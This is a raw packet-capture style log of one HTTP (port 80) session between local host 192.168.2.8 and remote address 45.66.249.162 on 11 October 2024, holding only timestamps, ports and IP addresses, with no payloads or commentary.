Oct 11, 2024 22:32:40.071703911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071726084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.071751118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133502007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133522987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133534908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133546114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133562088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133582115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133593082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133594990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133608103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133621931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133624077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133646011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133662939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133703947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133716106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133728981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133738995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133749962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133757114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133760929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133776903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133786917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133800030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133804083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133812904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133822918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133826017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133835077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133841038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133846998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133861065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133889914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133898020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133909941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133922100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133932114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133934975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133944035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.133960962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.133985043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134033918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134046078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134057045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134083986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134088993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134098053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134103060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134119987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134130001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134130955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134143114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134149075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134155035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134165049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134166002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134176970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134202003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134205103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134217978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134229898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134232044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134232044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134241104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134242058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134253979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134259939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134265900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134275913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134278059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134289980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134304047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134315968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134342909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134465933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134479046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134490013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134501934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134506941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134514093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134517908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134529114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134538889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134540081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134552956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134563923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134566069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134582043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134607077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134807110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134819031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134830952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134840965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134846926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134852886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134864092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134869099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134876966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134887934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134901047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134912968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134912968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134937048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134939909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134948015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134958982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134968996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134974003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.134980917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.134991884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135000944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.135001898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135014057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135025024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135030031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.135036945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135047913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135049105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.135055065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.135059118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135070086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135080099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.135087013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.135114908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.159436941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159451962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159463882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159492016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159502983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159506083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.159514904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.159548044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.159548044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.159567118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.263899088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.269941092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731163025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731223106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731259108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731271029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731292009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731312037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731312037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731328011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731334925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731362104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731369972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731398106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731437922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731472015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731479883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731504917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731509924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731544018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.731547117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.731580973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.886754990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886781931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886792898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886807919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886825085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886836052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886847019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886854887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886866093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886877060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886887074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886904001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886913061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886915922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.886923075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886934042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886945963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886954069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.886957884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.886981010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.886993885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887006998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887017965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887042046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887056112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887130022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887145996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887156963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887164116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887166977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887175083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887177944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887190104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887202978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887217045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887437105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887447119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887468100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887480974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887481928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887491941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887502909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:40.887511015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887526989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:40.887538910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034111023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034173965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034193039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034209967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034220934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034230947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034241915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034259081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034270048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034274101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034280062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034290075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034301043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034313917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034317017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034324884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034336090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034342051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034347057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034351110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034367085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034378052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034384012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034389973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034403086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034427881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034434080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034439087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034451008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034460068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034466982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034487009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034508944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034559011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034569979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034579039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034599066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034619093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034750938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034782887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034790039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034792900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.034821033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.034833908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035248995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035295010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035315037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035326004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035352945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035355091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035360098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035367012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035378933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035409927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035409927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035419941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035634041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035676956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035763979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035773993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035799980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035804033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035810947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035814047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035823107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.035835028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035842896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.035861969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036041021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036053896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036065102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036076069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036087990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036101103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036128044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036158085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036168098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036178112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036187887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036194086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036197901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036205053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036214113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036223888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036236048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036238909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036245108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.036257029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036264896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.036293030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636655092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636724949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636759043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636791945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636826038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636874914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636881113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636881113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636881113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636882067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636910915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636929035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636929035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636950970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.636965036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.636996984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637001991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637031078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637048006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637080908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637085915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637114048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637115002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637146950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637151957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637185097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637197018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637228012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637232065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637264013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637274027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637296915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637301922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637326956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637332916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637362957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637377024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637413025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637433052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637465000 CEST	80	49707	45.66.249.162	192.168.2.8
